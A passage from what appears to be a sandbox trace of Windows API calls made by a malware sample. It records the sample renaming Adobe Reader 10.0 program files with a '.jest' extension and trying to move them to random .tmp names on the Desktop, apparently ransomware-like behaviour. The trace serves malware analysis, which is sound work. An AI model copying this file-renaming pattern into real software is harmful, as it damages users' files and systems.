() returned 0x11579f1 [0151.415] IsWindowVisible (hWnd=0x30268) returned 0 [0151.415] Sleep (dwMilliseconds=0x0) [0151.416] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H9qbsBtFETr-dFSVxBEs5jT2kw7j9rRZ5weSmT7X jM9VQvh2abGAbI2IeF8d6Vzk2vVBt2Cw5yVdkd7JvbRdFu5MS0fTuwY5TM7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h9qbsbtfetr-dfsvxbes5jt2kw7j9rrz5wesmt7x jm9vqvh2abgabi2ief8d6vzk2vvbt2cw5yvdkd7jvbrdfu5ms0ftuwy5tm7.tmp")) returned 0 [0151.416] GetLastError () returned 0x2 [0151.416] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.416] CoFreeUnusedLibraries () [0151.416] GetTickCount () returned 0x11579f1 [0151.416] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.416] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.416] GetTickCount () returned 0x11579f1 [0151.417] IsWindowVisible (hWnd=0x30268) returned 0 [0151.417] Sleep (dwMilliseconds=0x0) [0151.417] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt.jest")) returned 1 [0151.418] GetLastError () returned 0x0 [0151.418] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歵琮瑸") returned 0x68 [0151.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.418] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歵琮瑸") returned 0x68 [0151.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpWideCharStr=0x14cf144, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt") returned 105 [0151.418] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歵琮瑸樮獥t") returned 0x6d [0151.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.418] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歵琮瑸樮獥t") returned 0x6d [0151.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=110, lpWideCharStr=0x146c82c, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt.jest") returned 110 [0151.419] VarBstrFromR4 (in: fltIn=0x4794508d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.1") returned 0x0 [0151.419] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.419] CoFreeUnusedLibraries () [0151.419] GetTickCount () returned 0x11579f1 [0151.419] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.419] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.419] GetTickCount () returned 0x11579f1 [0151.420] IsWindowVisible (hWnd=0x30268) returned 0 [0151.420] Sleep (dwMilliseconds=0x0) [0151.421] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t3 aK QVkBO1RP42JP5hrGym_9T6FrpUIxl84h7lCZARKmVLZgLy4OTlsgglJ p_5zRHB4PEgU9d0p_CQWYVVoVzdTEB4uEXuVq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t3 ak qvkbo1rp42jp5hrgym_9t6frpuixl84h7lczarkmvlzgly4otlsgglj p_5zrhb4pegu9d0p_cqwyvvovzdteb4uexuvq.tmp")) returned 0 [0151.421] GetLastError () returned 0x2 [0151.421] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.421] CoFreeUnusedLibraries () [0151.421] GetTickCount () returned 0x11579f1 [0151.421] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.421] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.421] GetTickCount () returned 0x11579f1 [0151.422] IsWindowVisible (hWnd=0x30268) returned 0 [0151.422] Sleep (dwMilliseconds=0x0) [0151.422] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt.jest")) returned 1 [0151.439] GetLastError () returned 0x0 [0151.439] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歵啟⹁硴t") returned 0x6b [0151.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.439] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歵啟⹁硴t") returned 0x6b [0151.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt") returned 108 [0151.439] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歵啟⹁硴⹴敪瑳") returned 0x70 [0151.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.439] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳歵啟⹁硴⹴敪瑳") returned 0x70 [0151.439] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt.jest") returned 113 [0151.440] VarBstrFromR4 (in: fltIn=0x47945091, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.13") returned 0x0 [0151.440] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.440] CoFreeUnusedLibraries () [0151.441] GetTickCount () returned 0x1157a10 [0151.441] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.441] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.441] GetTickCount () returned 0x1157a10 [0151.441] IsWindowVisible (hWnd=0x30268) returned 0 [0151.441] Sleep (dwMilliseconds=0x0) [0151.442] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NELyFzc2W_qkILXbl9K3AygwoU0ncVFr3WWfbp__TPXdtgc7 DqSW3omUIdyQCmcwoAKZz6cOFac0jTdmwCvlliym0wdJxqunyoB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nelyfzc2w_qkilxbl9k3aygwou0ncvfr3wwfbp__tpxdtgc7 dqsw3omuidyqcmcwoakzz6cofac0jtdmwcvlliym0wdjxqunyob.tmp")) returned 0 [0151.442] GetLastError () returned 0x2 [0151.460] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.460] CoFreeUnusedLibraries () [0151.460] GetTickCount () returned 0x1157a20 [0151.460] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.460] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.460] GetTickCount () returned 0x1157a20 [0151.460] IsWindowVisible (hWnd=0x30268) returned 0 [0151.460] Sleep (dwMilliseconds=0x0) [0151.461] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf.jest")) returned 1 [0151.478] GetLastError () returned 0x0 [0151.478] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏祄慮業⹣摰f") returned 0x5b [0151.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=91, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0151.478] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏祄慮業⹣摰f") returned 0x5b [0151.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=92, lpWideCharStr=0x144eaec, cchWideChar=183 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf") returned 92 [0151.478] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏祄慮業⹣摰⹦敪瑳") returned 0x60 [0151.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=96, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0151.479] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏祄慮業⹣摰⹦敪瑳") returned 0x60 [0151.479] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=97, lpWideCharStr=0x146c82c, cchWideChar=193 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf.jest") returned 97 [0151.479] VarBstrFromR4 (in: fltIn=0x47945095, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.16") returned 0x0 [0151.480] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.480] CoFreeUnusedLibraries () [0151.480] GetTickCount () returned 0x1157a2f [0151.480] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.480] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.480] GetTickCount () returned 0x1157a2f [0151.480] IsWindowVisible (hWnd=0x30268) returned 0 [0151.480] Sleep (dwMilliseconds=0x0) [0151.481] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\toqWsqLeF4neDDSVTVwmAqXM2jEOQF5r45tN3Xl-h0curdlFj5IQ4M3XJncQF46T38UU t6YiUDMLKWRe0PKxvGsOnppGrHcXi5RC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\toqwsqlef4neddsvtvwmaqxm2jeoqf5r45tn3xl-h0curdlfj5iq4m3xjncqf46t38uu t6yiudmlkwre0pkxvgsonppgrhcxi5rc.tmp")) returned 0 [0151.481] GetLastError () returned 0x2 [0151.482] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.482] CoFreeUnusedLibraries () [0151.482] GetTickCount () returned 0x1157a2f [0151.482] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.482] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.482] GetTickCount () returned 0x1157a2f [0151.482] IsWindowVisible (hWnd=0x30268) returned 0 [0151.482] Sleep (dwMilliseconds=0x0) [0151.483] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf.jest")) returned 1 [0151.484] GetLastError () returned 0x0 [0151.484] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏瑓湡慤摲畂楳敮獳瀮晤") returned 0x64 [0151.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=100, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 100 [0151.484] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏瑓湡慤摲畂楳敮獳瀮晤") returned 0x64 [0151.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=101, lpWideCharStr=0x146c82c, cchWideChar=201 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf") returned 101 [0151.484] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏瑓湡慤摲畂楳敮獳瀮晤樮獥t") returned 0x69 [0151.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 105 [0151.484] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏瑓湡慤摲畂楳敮獳瀮晤樮獥t") returned 0x69 [0151.484] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=106, lpWideCharStr=0x144ddec, cchWideChar=211 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf.jest") returned 106 [0151.485] VarBstrFromR4 (in: fltIn=0x47945095, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.16") returned 0x0 [0151.485] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.485] CoFreeUnusedLibraries () [0151.485] GetTickCount () returned 0x1157a3f [0151.485] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.485] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.485] GetTickCount () returned 0x1157a3f [0151.486] IsWindowVisible (hWnd=0x30268) returned 0 [0151.486] Sleep (dwMilliseconds=0x0) [0151.486] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GU8C-4yqGKPdw ohk2rUwtpMiJYby5Xgqtc6YBvUGbTuDHO7zU0j2yTwMDFwT8heKyjscU2797Iish-qdr_JPuzn q-rYvEVKAcS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gu8c-4yqgkpdw ohk2ruwtpmijyby5xgqtc6ybvugbtudho7zu0j2ytwmdfwt8hekyjscu2797iish-qdr_jpuzn q-ryvevkacs.tmp")) returned 0 [0151.487] GetLastError () returned 0x2 [0151.487] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.487] CoFreeUnusedLibraries () [0151.487] GetTickCount () returned 0x1157a3f [0151.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.487] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.487] GetTickCount () returned 0x1157a3f [0151.487] IsWindowVisible (hWnd=0x30268) returned 0 [0151.487] Sleep (dwMilliseconds=0x0) [0151.488] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf.jest")) returned 1 [0151.503] GetLastError () returned 0x0 [0151.503] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏楓湧效敲瀮晤") returned 0x5c [0151.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=92, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92 [0151.503] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏楓湧效敲瀮晤") returned 0x5c [0151.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=93, lpWideCharStr=0x144ddec, cchWideChar=185 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf") returned 93 [0151.503] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏楓湧效敲瀮晤樮獥t") returned 0x61 [0151.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=97, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0151.503] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜慥敤屲汰杵楟獮䅜湮瑯瑡潩獮卜慴灭屳啓屏楓湧效敲瀮晤樮獥t") returned 0x61 [0151.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=98, lpWideCharStr=0x1445ffc, cchWideChar=195 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf.jest") returned 98 [0151.504] VarBstrFromR4 (in: fltIn=0x47945099, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.2") returned 0x0 [0151.504] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.505] CoFreeUnusedLibraries () [0151.505] GetTickCount () returned 0x1157a4f [0151.505] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.505] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.505] GetTickCount () returned 0x1157a4f [0151.505] IsWindowVisible (hWnd=0x30268) returned 0 [0151.505] Sleep (dwMilliseconds=0x0) [0151.506] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BSPW 1mXjVFWGVl BqiL5ZX6ubHm jPrXPEhCoh7QIrM DzzlUk3msnUHv i4__Y1UrHll 1J0MpItfYqlpQ7pyhHekSm8nHdHHQ_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bspw 1mxjvfwgvl bqil5zx6ubhm jprxpehcoh7qirm dzzluk3msnuhv i4__y1urhll 1j0mpitfyqlpq7pyhheksm8nhdhhq_.tmp")) returned 0 [0151.506] GetLastError () returned 0x2 [0151.507] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.507] CoFreeUnusedLibraries () [0151.507] GetTickCount () returned 0x1157a4f [0151.507] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.507] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.507] GetTickCount () returned 0x1157a4f [0151.507] IsWindowVisible (hWnd=0x30268) returned 0 [0151.507] Sleep (dwMilliseconds=0x0) [0151.507] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm.jest")) returned 1 [0151.509] GetLastError () returned 0x0 [0151.509] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜獩穥潭⹩瑨m") returned 0x35 [0151.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0151.509] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮䱜獩穥潭⹩瑨m") returned 0x35 [0151.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1432fe4, cbMultiByte=54, lpWideCharStr=0x1445ffc, cchWideChar=107 | out: lpWideCharStr="C:\\Program Files 